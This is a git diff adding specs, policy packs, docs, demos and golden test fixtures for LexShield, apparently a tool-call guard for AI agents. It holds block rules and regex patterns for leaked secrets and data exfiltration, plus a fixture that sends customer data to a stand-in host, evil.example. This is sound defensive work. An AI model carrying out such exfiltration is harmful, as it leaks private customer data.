reason: "Health checks are always allowed" + + - id: challenge-delete-prod + name: Challenge destructive actions in production + priority: 200 + match: + environments: ["production"] + intents: ["infra.delete.resource", "data.delete.record"] + verdict: CHALLENGE + reason: "Destructive action in production requires approval" + challenge: + channel: stdout + timeoutSeconds: 3600 + onTimeout: BLOCK + + - id: block-secret-exposure + name: Block secret exposure + priority: 300 + match: + intents: ["security.secret_exposure"] + verdict: BLOCK + reason: "Possible secret exposure in tool arguments" + + - id: block-exfil + name: Block exfiltration + priority: 300 + match: + intents: ["data.exfiltrate"] + verdict: BLOCK + reason: "Possible data exfiltration" +``` + +### A.2 `pii-guard` + +```yaml +version: 1 +id: pii-guard +name: PII egress guard +description: Extends baseline; challenges external comms when tagged pii; blocks non-allowlisted HTTP. +defaultVerdict: BLOCK +rules: + - id: allow-health + priority: 100 + match: + tools: ["health_check", "ping"] + intents: ["network.request.health"] + verdict: ALLOW + reason: "Health checks are always allowed" + + - id: challenge-pii-email + priority: 220 + match: + intents: ["comms.send.email", "comms.send.external"] + tags: + data_class: ["pii"] + verdict: CHALLENGE + reason: "Sending PII requires approval" + challenge: + channel: stdout + timeoutSeconds: 3600 + onTimeout: BLOCK + + - id: block-http-non-allowlist + priority: 250 + match: + intents: ["network.request.http"] + expression: '!(args.url startsWith "https://api.mycompany.com/")' + verdict: BLOCK + reason: "HTTP to non-allowlisted host" + + - id: block-secret-exposure + priority: 300 + match: + intents: ["security.secret_exposure"] + verdict: BLOCK + reason: "Possible secret exposure in tool arguments" + + - id: block-exfil + priority: 300 + match: + intents: ["data.exfiltrate"] + verdict: BLOCK + reason: "Possible data exfiltration" +``` + +### A.3 `change-window` + +```yaml +version: 1 +id: change-window +name: Infra change window +description: Infra mutate/provision in production requires change_ticket tag; otherwise challenge. +defaultVerdict: BLOCK +rules: + - id: allow-health + priority: 100 + match: + tools: ["health_check", "ping"] + intents: ["network.request.health"] + verdict: ALLOW + reason: "Health checks are always allowed" -- Default `BLOCK` -- ALLOW: `health_check`, `get_time`, metrics scrape tools -- CHALLENGE: any `*.delete.*` in `production` -- BLOCK: `data.exfiltrate`, `security.secret_exposure` + - id: allow-infra-with-ticket + priority: 180 + match: + environments: ["production"] + intents: ["infra.mutate.resource", "infra.provision.resource"] + expression: 'tags.change_ticket != ""' + verdict: ALLOW + reason: "Change ticket present" -### A.2 PII guard (sketch) + - id: challenge-infra-prod + priority: 200 + match: + environments: ["production"] + intents: ["infra.mutate.resource", "infra.provision.resource", "infra.delete.resource"] + verdict: CHALLENGE + reason: "Production infra change requires approval" + challenge: + channel: stdout + timeoutSeconds: 3600 + onTimeout: BLOCK -- Tag requests with `data_class=pii` from caller -- BLOCK `comms.send.*` when `tags.data_class=pii` and recipient external -- CHALLENGE `network.request.http` when args URL not in allowlist host set + - id: block-secret-exposure + priority: 300 + match: + intents: ["security.secret_exposure"] + verdict: BLOCK + reason: "Possible secret exposure in tool arguments" +``` -### A.3 Change window (sketch) +### A.4 Companion `rules.yaml` (deterministic) — ship with `init` -- ALLOW `infra.mutate.*` only when `tags.change_ticket` present and `environment!=production` OR maintenance tag set -- Otherwise CHALLENGE +```yaml +version: 1 +tool_map: + health_check: network.request.health + ping: network.request.health + send_email: comms.send.email + send_slack: comms.send.slack + http_request: network.request.http + execute_sql: data.query.sql + delete_resource: infra.delete.resource + create_resource: infra.provision.resource + update_resource: infra.mutate.resource + create_charge: finance.charge.create + transfer_funds: finance.transfer.create + run_shell: code.execute.shell + write_file: code.write.repo +patterns: + - name: aws_access_key + match: + any_arg_regex: "AKIA[0-9A-Z]{16}" + intent: security.secret_exposure + confidence: 0.98 + - name: openai_sk + match: + any_arg_regex: "sk-(proj-)?[a-zA-Z0-9]{20,}" + intent: security.secret_exposure + confidence: 0.98 +``` --- -## Appendix B — Built-in Intent Catalog (MVP) +## Appendix B — Built-in Intent Catalog (v0.1) -> Final list may trim to ~30. Severity 1–100. +> **Frozen at 24 intents** for `v0.1.0`. Severity 1–100. +> Users extend via `custom.` in `taxonomy.yaml` (not listed here). | Intent | Severity | Description | |--------|----------|-------------| @@ -1333,6 +2399,7 @@ Use this section as the decision workshop checklist. **Bold** = recommended defa | `data.write.record` | 45 | Create/update records | | `data.delete.record` | 75 | Delete data | | `data.exfiltrate` | 95 | Suspected exfiltration | +| `comms.read.inbox` | 35 | Read messages/inbox | | `comms.send.email` | 50 | Send email | | `comms.send.slack` | 40 | Send Slack/chat | | `comms.send.external` | 70 | Message external party | @@ -1349,8 +2416,6 @@ Use this section as the decision workshop checklist. **Bold** = recommended defa | `security.secret_exposure` | 98 | Secrets in args/egress | | `unknown.unclassified` | 50 | Fallback | -Customers add `custom.` in taxonomy. - --- ## Appendix C — Trace Event Schema @@ -1366,18 +2431,18 @@ NDJSON line (logical): "id": "01J...", "caller": {"id": "agent-1", "type": "agent", "roles": ["support"]}, "tool": {"name": "send_email"}, - "arguments_redacted": {"to": "a@b.com", "subject": "…", "body": "[REDACTED]"}, + "arguments_redacted": {"to": "a@b.com", "subject": "…", "body": "[REDACTED_AWS_KEY]"}, "context": {"environment": "production", "conversationId": "c1"} }, "classifications": [ - {"intent": "comms.send.email", "confidence": 0.82, "classifier": "deterministic:v1", "alternatives": []} + {"intent": "security.secret_exposure", "confidence": 0.98, "classifier": "deterministic:v1", "alternatives": []} ], "verdict": { "decision": "BLOCK", - "matchedRuleId": "block-exfil", - "reason": "Possible data exfiltration or secret exposure", + "matchedRuleId": "block-secret-exposure", + "reason": "Possible secret exposure in tool arguments", "durationMs": 3, - "policyVersion": "v3" + "policyVersion": "1" }, "outcome": "BLOCKED", "outcomeAt": "2026-07-11T12:00:00.003Z" @@ -1386,13 +2451,48 @@ NDJSON line (logical): --- +## Appendix D — v0.1 Acceptance Checklist + +Ship `v0.1.0` only when all boxes pass: + +**Engine** +- [ ] Default-deny packs block unknown tools +- [ ] Highest priority rule wins; golden fixtures ≥ 50 green on Python +- [ ] Deterministic secret pattern → `security.secret_exposure` → BLOCK +- [ ] LLM path cassette-tested; timeout 2s; no key → skip LLM cleanly +- [ ] Redaction applied to LLM payload and NDJSON traces + +**Python SDK + API + CLI** +- [ ] `@shield.guard` raises on BLOCK/CHALLENGE +- [ ] `lexshield init && check && evaluate` works offline +- [ ] `/evaluate` + `/execute` + `/traces` + challenge resolve work on 127.0.0.1:8787 +- [ ] Bind-all refused without explicit flag + +**TS** +- [ ] Golden fixtures 100% match Python decisions +- [ ] `evaluate` + `guard` documented example passes + +**Content / docs** +- [ ] 3 packs + 3 demos runnable without API key +- [ ] README 5-minute quickstart verified on clean machine +- [ ] `docs/security.md` states probabilistic limits honestly + +**Release** +- [ ] PyPI + npm 0.1.0 published from tag +- [ ] MIT LICENSE present + +--- + ## Document History | Version | Date | Notes | |---------|------|-------| | 0.1 | 2026-07-11 | Initial SPEC committed to main | -| 0.2 | 2026-07-11 | Expanded planning SPEC: personas, taxonomy, classifiers, policy semantics, Cloud, security, DX, pricing recommendation, open questions, appendices | +| 0.2 | 2026-07-11 | Expanded planning SPEC | +| 0.3 | 2026-07-11 | OSS-first lock; SaaS deferred | +| 0.4 | 2026-07-11 | **v0.1 feature freeze**: exact IN/OUT, demos, expressions, redaction, packs YAML, acceptance checklist | +| 0.5 | 2026-07-11 | **§9B OSS v0.1 implementation spec**: module map, PolicyEngine algorithm, rule matching, expression grammar, globs, classifier pipeline, Shield.evaluate sequence, golden contract + 27-scenario matrix, CLI I/O, FastAPI contracts, lexshield.yaml fields, dev commands, M1–M6 file deliverables, TS parity rules | --- -*End of SPEC.md — no implementation in this revision; planning only.* +*End of SPEC.md — planning only; implementation starts when build is kicked off.* diff --git a/contrib/.gitkeep b/contrib/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/docs/cli.md b/docs/cli.md new file mode 100644 index 0000000..a59ba75 --- /dev/null +++ b/docs/cli.md @@ -0,0 +1,27 @@ +# CLI Reference + +Commands for the `lexshield` Typer CLI. See [SPEC §16](../SPEC.md#16-cli-surface). + +## Installation + +## `lexshield init` + +## `lexshield check` + +## `lexshield run` + +## `lexshield evaluate` + +## `lexshield traces` + +## `lexshield challenge` + +## `lexshield packs` + +## `lexshield version` + +## Global flags + +## CI usage + +## Exit codes diff --git a/docs/intents.md b/docs/intents.md new file mode 100644 index 0000000..5b8d28d --- /dev/null +++ b/docs/intents.md @@ -0,0 +1,44 @@ +# Intent Catalog + +Built-in intent taxonomy for LexShield v0.1. See [SPEC §10](../SPEC.md#10-intent-taxonomy) and [Appendix B](../SPEC.md#appendix-b--built-in-intent-catalog-v01). + +## Overview + +## Classification output contract + +## Built-in intents (v0.1) + +| Intent | Severity | Description | +|--------|----------|-------------| +| `network.request.health` | 5 | Health/ping | +| `data.read.public` | 10 | Read non-sensitive | +| `data.read.internal` | 25 | Read internal business data | +| `data.read.pii` | 60 | Read PII | +| `data.query.sql` | 40 | SQL read/query | +| `data.write.record` | 45 | Create/update records | +| `data.delete.record` | 75 | Delete data | +| `data.exfiltrate` | 95 | Suspected exfiltration | +| `comms.read.inbox` | 35 | Read messages/inbox | +| `comms.send.email` | 50 | Send email | +| `comms.send.slack` | 40 | Send Slack/chat | +| `comms.send.external` | 70 | Message external party | +| `network.request.http` | 55 | Arbitrary HTTP | +| `infra.provision.resource` | 60 | Create infra | +| `infra.mutate.resource` | 65 | Change infra | +| `infra.delete.resource` | 85 | Destroy infra | +| `finance.charge.create` | 80 | Create charge/payment | +| `finance.transfer.create` | 90 | Move money | +| `identity.permission.grant` | 85 | Grant access | +| `identity.auth.impersonate` | 90 | Impersonation | +| `code.execute.shell` | 88 | Shell/code exec | +| `code.write.repo` | 50 | Write code/files | +| `security.secret_exposure` | 98 | Secrets in args/egress | +| `unknown.unclassified` | 50 | Fallback | + +## Severity and conflict resolution + +## Custom intents (`custom.*`) + +## Deterministic tool map + +## Extending with `taxonomy.yaml` diff --git a/docs/policy.md b/docs/policy.md new file mode 100644 index 0000000..4293663 --- /dev/null +++ b/docs/policy.md @@ -0,0 +1,27 @@ +# Policy Authoring + +Guide to writing LexShield YAML policies. See [SPEC §12](../SPEC.md#12-policy-language--engine). + +## Overview + +## Policy file shape + +## Default verdict + +## Rules + +## Priority and tie-breaking + +## Match dimensions + +## Expressions + +## Challenge configuration + +## Policy versioning + +## Validation with `lexshield check` + +## Policy packs + +## Examples diff --git a/docs/sdk-python.md b/docs/sdk-python.md new file mode 100644 index 0000000..47bc205 --- /dev/null +++ b/docs/sdk-python.md @@ -0,0 +1,29 @@ +# Python SDK + +Reference for the `lexshield` PyPI package. See [SPEC §15.1](../SPEC.md#151-python-primary). + +## Installation + +## Quickstart + +## `Shield.from_config` + +## `shield.evaluate` + +## `@shield.guard` decorator + +## `shield.guard_sync` + +## `shield.session` + +## `shield.record_outcome` + +## Errors + +## Challenge opt-in (`await_challenge=True`) + +## Configuration + +## Local API client + +## Examples diff --git a/docs/sdk-typescript.md b/docs/sdk-typescript.md new file mode 100644 index 0000000..de10ab1 --- /dev/null +++ b/docs/sdk-typescript.md @@ -0,0 +1,23 @@ +# TypeScript SDK + +Reference for `@latticeag/lexshield`. See [SPEC §15.2](../SPEC.md#152-typescript). + +## Installation + +## Quickstart + +## `Shield.fromConfig` + +## `shield.evaluate` + +## `shield.guard` + +## Verdict JSON shape + +## Edge / inject config + +## Parity with Python + +## Local API for challenges + +## Examples diff --git a/docs/security.md b/docs/security.md new file mode 100644 index 0000000..fe600c1 --- /dev/null +++ b/docs/security.md @@ -0,0 +1,23 @@ +# Security Model + +Threat model, trust boundaries, and honest limits. See [SPEC §23](../SPEC.md#23-security--threat-model). + +## Trust boundaries + +## Threats and mitigations + +## Security guarantees (honest) + +## Redaction + +## Fail-closed defaults + +## Local API hardening + +## Proxy upstream allowlist + +## Agent-facing errors + +## Limitations + +## Reporting issues diff --git a/examples/python-block-exfil/README.md b/examples/python-block-exfil/README.md new file mode 100644 index 0000000..fa0c33c --- /dev/null +++ b/examples/python-block-exfil/README.md @@ -0,0 +1,29 @@ +# Block Exfil Demo + +Demonstrates LexShield blocking a `send_email` tool call that contains an AWS access key in the body. Uses the **deterministic classifier only** (no API key required). + +## Scenario + +1. Agent calls `send_email` with `AKIA...` in the message body. +2. Deterministic patterns in `rules.yaml` classify intent as `security.secret_exposure`. +3. `baseline-deny` policy rule `block-secret-exposure` returns **BLOCK**. + +## Prerequisites + +```bash +pip install lexshield # once published +lexshield init --pack baseline-deny +``` + +## Run + +```bash +python main.py +``` + +Expected: `LexShieldBlockedError` with reason *"Possible secret exposure in tool arguments"*. + +## Related + +- Golden fixture: `fixtures/golden/block-secret-exposure/` +- Policy pack: `packs/baseline-deny/` diff --git a/examples/python-block-exfil/main.py b/examples/python-block-exfil/main.py new file mode 100644 index 0000000..15b7bb9 --- /dev/null +++ b/examples/python-block-exfil/main.py @@ -0,0 +1,35 @@ +"""Block exfil demo — send_email with AWS key in body → BLOCK.""" + +from __future__ import annotations + +import asyncio + +from lexshield import Shield +from lexshield.errors import LexShieldBlockedError + + +shield = Shield.from_config("lexshield.yaml") + + +@shield.guard(tool="send_email") +async def send_email(to: str, subject: str, body: str) -> dict: + # In a real app this would call your mail provider. + return {"status": "sent", "to": to} + + +async def main() -> None: + try: + await send_email( + to="recipient@example.com", + subject="Status update", + body="Here is the key: AKIAIOSFODNN7EXAMPLE", + ) + except LexShieldBlockedError as exc: + print(f"BLOCKED: {exc.reason} (rule={exc.matched_rule_id})") + return + + print("Unexpected: tool call was allowed") + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/examples/python-challenge-delete/README.md b/examples/python-challenge-delete/README.md new file mode 100644 index 0000000..9484b25 --- /dev/null +++ b/examples/python-challenge-delete/README.md @@ -0,0 +1,36 @@ +# Challenge Delete Demo + +Demonstrates LexShield **CHALLENGE** for a destructive infra action in production. Uses deterministic classification only. + +## Scenario + +1. Agent calls `delete_resource` in `environment=production`. +2. Classifier maps tool → `infra.delete.resource`. +3. `baseline-deny` rule `challenge-delete-prod` returns **CHALLENGE**. +4. Approve via CLI, then re-evaluate or execute. + +## Prerequisites + +```bash +pip install lexshield +lexshield init --pack baseline-deny +``` + +## Run + +```bash +python main.py +``` + +Expected: `LexShieldChallengeError` with a `challenge_id`. Approve with: + +```bash +lexshield challenge approve +``` + +Then re-run or call `shield.evaluate(...)` again after approval (documented in SDK once challenge resume is wired). + +## Related + +- Policy pack: `packs/baseline-deny/` +- CLI: `docs/cli.md` diff --git a/examples/python-challenge-delete/main.py b/examples/python-challenge-delete/main.py new file mode 100644 index 0000000..ecaf572 --- /dev/null +++ b/examples/python-challenge-delete/main.py @@ -0,0 +1,36 @@ +"""Challenge delete demo — delete_resource in production → CHALLENGE.""" + +from __future__ import annotations + +import asyncio + +from lexshield import Shield +from lexshield.errors import LexShieldChallengeError + + +shield = Shield.from_config("lexshield.yaml") + + +@shield.guard(tool="delete_resource") +async def delete_resource(resource_id: str, reason: str) -> dict: + return {"status": "deleted", "resource_id": resource_id} + + +async def main() -> None: + with shield.session(environment="production"): + try: + await delete_resource( + resource_id="db-primary-replica", + reason="cleanup old replica", + ) + except LexShieldChallengeError as exc: + print(f"CHALLENGE: {exc.reason}") + print(f" challenge_id={exc.challenge_id}") + print("Approve with: lexshield challenge approve", exc.challenge_id) + return + + print("Unexpected: tool call was allowed") + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/examples/ts-evaluate/README.md b/examples/ts-evaluate/README.md new file mode 100644 index 0000000..a0aacdd --- /dev/null +++ b/examples/ts-evaluate/README.md @@ -0,0 +1,25 @@ +# TypeScript Evaluate Demo + +Minimal `@latticeag/lexshield` evaluate-only example. No tool execution — prints verdict JSON. + +## Scenario + +Evaluate a tool call against local `lexshield.yaml` (deterministic classifier only). + +## Prerequisites + +```bash +npm install @latticeag/lexshield +lexshield init --pack baseline-deny +``` + +## Run + +```bash +npx tsx index.ts +``` + +## Related + +- Golden fixtures: `fixtures/golden/` +- SDK reference: `docs/sdk-typescript.md` diff --git a/examples/ts-evaluate/index.ts b/examples/ts-evaluate/index.ts new file mode 100644 index 0000000..d24d4dc --- /dev/null +++ b/examples/ts-evaluate/index.ts @@ -0,0 +1,23 @@ +/** + * TypeScript evaluate demo — verdict-only, no tool execution. + */ + +import { Shield } from "@latticeag/lexshield"; + +async function main(): Promise { + const shield = await Shield.fromConfig("lexshield.yaml"); + + const verdict = await shield.evaluate({ + tool: "health_check", + arguments: {}, + caller: { id: "agent-1", type: "agent" }, + context: { environment: "production" }, + }); + + console.log(JSON.stringify(verdict, null, 2)); +} + +main().catch((err: unknown) => { + console.error(err); + process.exit(1); +}); diff --git a/fixtures/golden/README.md b/fixtures/golden/README.md new file mode 100644 index 0000000..20b2433 --- /dev/null +++ b/fixtures/golden/README.md @@ -0,0 +1,79 @@ +# Golden Fixtures + +Shared regression fixtures for Python and TypeScript policy engines. Every fixture under `fixtures/golden/**` must produce **identical verdict decisions** in both engines. + +## Directory layout + +Each scenario is a directory named after the behavior under test: + +``` +fixtures/golden// + request.json # ToolCallRequest (see schemas/tool-call-request.schema.json) + policy-ref.yaml # Which pack/policy + rules to load (or inline policy.yaml) + expected.json # Expected verdict fields (subset of full Verdict) + rules-ref.yaml # Optional; defaults to pack rules.yaml +``` + +## `request.json` + +A `ToolCallRequest` object. `id`, `shieldId`, and `timestamp` may be fixed in fixtures for stable traces; engines should accept omitted ids and generate ULIDs at runtime. + +Required fields for evaluation: + +- `caller` — `{ "id", "type", "roles?" }` +- `tool` — `{ "name" }` +- `arguments` — tool args object (may be `{}`) +- `context` — at minimum `environment` when policy matches on environment + +## `policy-ref.yaml` + +Points at a shipped pack or inline policy: + +```yaml +pack: baseline-deny +policy: ../../../packs/baseline-deny/policy.yaml +rules: ../../../packs/baseline-deny/rules.yaml +``` + +Alternatively, embed a minimal `policy:` block for scenario-specific overrides. + +## `expected.json` + +Subset of verdict fields asserted by golden runners. Minimum: + +```json +{ + "decision": "BLOCK", + "matchedRuleId": "block-secret-exposure", + "reason": "Possible secret exposure in tool arguments", + "primaryIntent": "security.secret_exposure" +} +``` + +| Field | Required | Notes | +|-------|----------|-------| +| `decision` | yes | `ALLOW`, `BLOCK`, `CHALLENGE`, or `DEFER` | +| `matchedRuleId` | usually | Omit when default verdict applies with no rule match | +| `reason` | yes | Exact string from winning policy rule | +| `primaryIntent` | recommended | Primary classification intent after deterministic (+ optional LLM) pipeline | + +Engines run the **deterministic classifier only** in CI (no live LLM). Optional fields like `durationMs` and `challengeId` are not compared unless `strict: true`. + +## Running (once engines exist) + +```bash +# Python +pytest packages/engine-py/tests/test_golden.py + +# TypeScript +pnpm --filter @latticeag/lexshield test:golden +``` + +## Adding scenarios + +1. Name the directory `{verdict}-{behavior}` (e.g. `block-secret-exposure`, `allow-health`). +2. Copy `policy-ref.yaml` from a sibling fixture or reference a pack. +3. Add `request.json` and `expected.json`. +4. Ensure the scenario is covered by a must-have security regression (SPEC §27.2) when applicable. + +Target: **≥ 50 scenarios** for v0.1 tag; these two fixtures bootstrap the suite. diff --git a/fixtures/golden/allow-health/expected.json b/fixtures/golden/allow-health/expected.json new file mode 100644 index 0000000..7bc0d5b --- /dev/null +++ b/fixtures/golden/allow-health/expected.json @@ -0,0 +1,6 @@ +{ + "decision": "ALLOW", + "matchedRuleId": "allow-health", + "reason": "Health checks are always allowed", + "primaryIntent": "network.request.health" +} diff --git a/fixtures/golden/allow-health/policy-ref.yaml b/fixtures/golden/allow-health/policy-ref.yaml new file mode 100644 index 0000000..72f6ad5 --- /dev/null +++ b/fixtures/golden/allow-health/policy-ref.yaml @@ -0,0 +1,3 @@ +pack: baseline-deny +policy: ../../../packs/baseline-deny/policy.yaml +rules: ../../../packs/baseline-deny/rules.yaml diff --git a/fixtures/golden/allow-health/request.json b/fixtures/golden/allow-health/request.json new file mode 100644 index 0000000..c19d871 --- /dev/null +++ b/fixtures/golden/allow-health/request.json @@ -0,0 +1,16 @@ +{ + "id": "01JFIXTUREALLOWHEALTH01", + "shieldId": "local", + "timestamp": "2026-07-11T12:00:00.000Z", + "caller": { + "id": "agent-1", + "type": "agent" + }, + "tool": { + "name": "health_check" + }, + "arguments": {}, + "context": { + "environment": "production" + } +} diff --git a/fixtures/golden/allow-infra-with-ticket/expected.json b/fixtures/golden/allow-infra-with-ticket/expected.json new file mode 100644 index 0000000..b9eca96 --- /dev/null +++ b/fixtures/golden/allow-infra-with-ticket/expected.json @@ -0,0 +1,6 @@ +{ + "decision": "ALLOW", + "matchedRuleId": "allow-infra-with-ticket", + "reason": "Change ticket present", + "primaryIntent": "infra.mutate.resource" +} diff --git a/fixtures/golden/allow-infra-with-ticket/policy-ref.yaml b/fixtures/golden/allow-infra-with-ticket/policy-ref.yaml new file mode 100644 index 0000000..c3b9350 --- /dev/null +++ b/fixtures/golden/allow-infra-with-ticket/policy-ref.yaml @@ -0,0 +1,3 @@ +pack: change-window +policy: ../../../packs/change-window/policy.yaml +rules: ../../../packs/change-window/rules.yaml diff --git a/fixtures/golden/allow-infra-with-ticket/request.json b/fixtures/golden/allow-infra-with-ticket/request.json new file mode 100644 index 0000000..0f923b7 --- /dev/null +++ b/fixtures/golden/allow-infra-with-ticket/request.json @@ -0,0 +1,24 @@ +{ + "id": "01JFIXTUREALLOWINFRA01", + "shieldId": "local", + "timestamp": "2026-07-11T12:00:00.000Z", + "caller": { + "id": "agent-1", + "type": "agent" + }, + "tool": { + "name": "update_resource" + }, + "arguments": { + "resource_id": "api-gateway", + "changes": { + "rate_limit": 1000 + } + }, + "context": { + "environment": "production", + "tags": { + "change_ticket": "CHG-12345" + } + } +} diff --git a/fixtures/golden/block-default-no-match/expected.json b/fixtures/golden/block-default-no-match/expected.json new file mode 100644 index 0000000..c5cb55e --- /dev/null +++ b/fixtures/golden/block-default-no-match/expected.json @@ -0,0 +1,5 @@ +{ + "decision": "BLOCK", + "reason": "No matching rule; applied default verdict BLOCK", + "primaryIntent": "comms.send.email" +} diff --git a/fixtures/golden/block-default-no-match/policy-ref.yaml b/fixtures/golden/block-default-no-match/policy-ref.yaml new file mode 100644 index 0000000..72f6ad5 --- /dev/null +++ b/fixtures/golden/block-default-no-match/policy-ref.yaml @@ -0,0 +1,3 @@ +pack: baseline-deny +policy: ../../../packs/baseline-deny/policy.yaml +rules: ../../../packs/baseline-deny/rules.yaml diff --git a/fixtures/golden/block-default-no-match/request.json b/fixtures/golden/block-default-no-match/request.json new file mode 100644 index 0000000..1734bc6 --- /dev/null +++ b/fixtures/golden/block-default-no-match/request.json @@ -0,0 +1,20 @@ +{ + "id": "01JFIXTUREBLOCKDEFAULT01", + "shieldId": "local", + "timestamp": "2026-07-11T12:00:00.000Z", + "caller": { + "id": "agent-1", + "type": "agent" + }, + "tool": { + "name": "send_email" + }, + "arguments": { + "to": "user@example.com", + "subject": "Hello", + "body": "Routine status update with no sensitive content." + }, + "context": { + "environment": "staging" + } +} diff --git a/fixtures/golden/block-exfil-intent/expected.json b/fixtures/golden/block-exfil-intent/expected.json new file mode 100644 index 0000000..1076316 --- /dev/null +++ b/fixtures/golden/block-exfil-intent/expected.json @@ -0,0 +1,6 @@ +{ + "decision": "BLOCK", + "matchedRuleId": "block-exfil", + "reason": "Possible data exfiltration", + "primaryIntent": "data.exfiltrate" +} diff --git a/fixtures/golden/block-exfil-intent/policy-ref.yaml b/fixtures/golden/block-exfil-intent/policy-ref.yaml new file mode 100644 index 0000000..93a799e --- /dev/null +++ b/fixtures/golden/block-exfil-intent/policy-ref.yaml @@ -0,0 +1,3 @@ +pack: baseline-deny +policy: ../../../packs/baseline-deny/policy.yaml +rules: rules-ref.yaml diff --git a/fixtures/golden/block-exfil-intent/request.json b/fixtures/golden/block-exfil-intent/request.json new file mode 100644 index 0000000..1e9aec5 --- /dev/null +++ b/fixtures/golden/block-exfil-intent/request.json @@ -0,0 +1,19 @@ +{ + "id": "01JFIXTUREBLOCKEXFIL01", + "shieldId": "local", + "timestamp": "2026-07-11T12:00:00.000Z", + "caller": { + "id": "agent-1", + "type": "agent" + }, + "tool": { + "name": "http_request" + }, + "arguments": { + "url": "https://evil.example/export", + "body": "export all customer data to external bucket" + }, + "context": { + "environment": "staging" + } +} diff --git a/fixtures/golden/block-exfil-intent/rules-ref.yaml b/fixtures/golden/block-exfil-intent/rules-ref.yaml new file mode 100644 index 0000000..c44dea8 --- /dev/null +++ b/fixtures/golden/block-exfil-intent/rules-ref.yaml @@ -0,0 +1,31 @@ +version: 1 +tool_map: + health_check: network.request.health + ping: network.request.health + send_email: comms.send.email + send_slack: comms.send.slack + http_request: network.request.http + execute_sql: data.query.sql + delete_resource: infra.delete.resource + create_resource: infra.provision.resource + update_resource: infra.mutate.resource + create_charge: finance.charge.create + transfer_funds: finance.transfer.create + run_shell: code.execute.shell + write_file: code.write.repo +patterns: + - name: aws_access_key + match: + any_arg_regex: "AKIA[0-9A-Z]{16}" + intent: security.secret_exposure + confidence: 0.98 + - name: openai_sk + match: + any_arg_regex: "sk-(proj-)?[a-zA-Z0-9]{20,}" + intent: security.secret_exposure + confidence: 0.98 + - name: bulk_customer_export + match: + any_arg_regex: "(?i)export.*customer" + intent: data.exfiltrate + confidence: 0.95 diff --git a/fixtures/golden/block-secret-exposure/expected.json b/fixtures/golden/block-secret-exposure/expected.json new file mode 100644 index 0000000..492a7f5 --- /dev/null +++ b/fixtures/golden/block-secret-exposure/expected.json @@ -0,0 +1,6 @@ +{ + "decision": "BLOCK", + "matchedRuleId": "block-secret-exposure", + "reason": "Possible secret exposure in tool arguments", + "primaryIntent": "security.secret_exposure" +} diff --git a/fixtures/golden/block-secret-exposure/policy-ref.yaml b/fixtures/golden/block-secret-exposure/policy-ref.yaml new file mode 100644 index 0000000..72f6ad5 --- /dev/null +++ b/fixtures/golden/block-secret-exposure/policy-ref.yaml @@ -0,0 +1,3 @@ +pack: baseline-deny +policy: ../../../packs/baseline-deny/policy.yaml +rules: ../../../packs/baseline-deny/rules.yaml diff --git a/fixtures/golden/block-secret-exposure/request.json b/fixtures/golden/block-secret-exposure/request.json new file mode 100644 index 0000000..aa1f3a8 --- /dev/null +++ b/fixtures/golden/block-secret-exposure/request.json @@ -0,0 +1,22 @@ +{ + "id": "01JFIXTUREBLOCKSECRET01", + "shieldId": "local", + "timestamp": "2026-07-11T12:00:00.000Z", + "caller": { + "id": "agent-1", + "type": "agent", + "roles": ["support"] + }, + "tool": { + "name": "send_email" + }, + "arguments": { + "to": "recipient@example.com", + "subject": "Status update", + "body": "Here is the key: AKIAIOSFODNN7EXAMPLE" + }, + "context": { + "environment": "production", + "conversationId": "conv-block-secret-1" + } +} diff --git a/fixtures/golden/block-unknown-tool/expected.json b/fixtures/golden/block-unknown-tool/expected.json new file mode 100644 index 0000000..3f5fb02 --- /dev/null +++ b/fixtures/golden/block-unknown-tool/expected.json @@ -0,0 +1,5 @@ +{ + "decision": "BLOCK", + "reason": "No matching policy rule; default deny for unclassified intent", + "primaryIntent": "unknown.unclassified" +} diff --git a/fixtures/golden/block-unknown-tool/policy-ref.yaml b/fixtures/golden/block-unknown-tool/policy-ref.yaml new file mode 100644 index 0000000..72f6ad5 --- /dev/null +++ b/fixtures/golden/block-unknown-tool/policy-ref.yaml @@ -0,0 +1,3 @@ +pack: baseline-deny +policy: ../../../packs/baseline-deny/policy.yaml +rules: ../../../packs/baseline-deny/rules.yaml diff --git a/fixtures/golden/block-unknown-tool/request.json b/fixtures/golden/block-unknown-tool/request.json new file mode 100644 index 0000000..9346d57 --- /dev/null +++ b/fixtures/golden/block-unknown-tool/request.json @@ -0,0 +1,16 @@ +{ + "id": "01JFIXTUREBLOCKUNKNOWN01", + "shieldId": "local", + "timestamp": "2026-07-11T12:00:00.000Z", + "caller": { + "id": "agent-1", + "type": "agent" + }, + "tool": { + "name": "mystery_tool" + }, + "arguments": {}, + "context": { + "environment": "production" + } +} diff --git a/fixtures/golden/challenge-delete-prod/expected.json b/fixtures/golden/challenge-delete-prod/expected.json new file mode 100644 index 0000000..3d11c12 --- /dev/null +++ b/fixtures/golden/challenge-delete-prod/expected.json @@ -0,0 +1,6 @@ +{ + "decision": "CHALLENGE", + "matchedRuleId": "challenge-delete-prod", + "reason": "Destructive action in production requires approval", + "primaryIntent": "infra.delete.resource" +} diff --git a/fixtures/golden/challenge-delete-prod/policy-ref.yaml b/fixtures/golden/challenge-delete-prod/policy-ref.yaml new file mode 100644 index 0000000..72f6ad5 --- /dev/null +++ b/fixtures/golden/challenge-delete-prod/policy-ref.yaml @@ -0,0 +1,3 @@ +pack: baseline-deny +policy: ../../../packs/baseline-deny/policy.yaml +rules: ../../../packs/baseline-deny/rules.yaml diff --git a/fixtures/golden/challenge-delete-prod/request.json b/fixtures/golden/challenge-delete-prod/request.json new file mode 100644 index 0000000..a8a440b --- /dev/null +++ b/fixtures/golden/challenge-delete-prod/request.json @@ -0,0 +1,18 @@ +{ + "id": "01JFIXTURECHALLENGEDEL01", + "shieldId": "local", + "timestamp": "2026-07-11T12:00:00.000Z", + "caller": { + "id": "agent-1", + "type": "agent" + }, + "tool": { + "name": "delete_resource" + }, + "arguments": { + "resource_id": "prod-db-primary" + }, + "context": { + "environment": "production" + } +} diff --git a/fixtures/golden/challenge-infra-prod/expected.json b/fixtures/golden/challenge-infra-prod/expected.json new file mode 100644 index 0000000..74c3253 --- /dev/null +++ b/fixtures/golden/challenge-infra-prod/expected.json @@ -0,0 +1,6 @@ +{ + "decision": "CHALLENGE", + "matchedRuleId": "challenge-infra-prod", + "reason": "Production infra change requires approval", + "primaryIntent": "infra.provision.resource" +} diff --git a/fixtures/golden/challenge-infra-prod/policy-ref.yaml b/fixtures/golden/challenge-infra-prod/policy-ref.yaml new file mode 100644 index 0000000..c3b9350 --- /dev/null 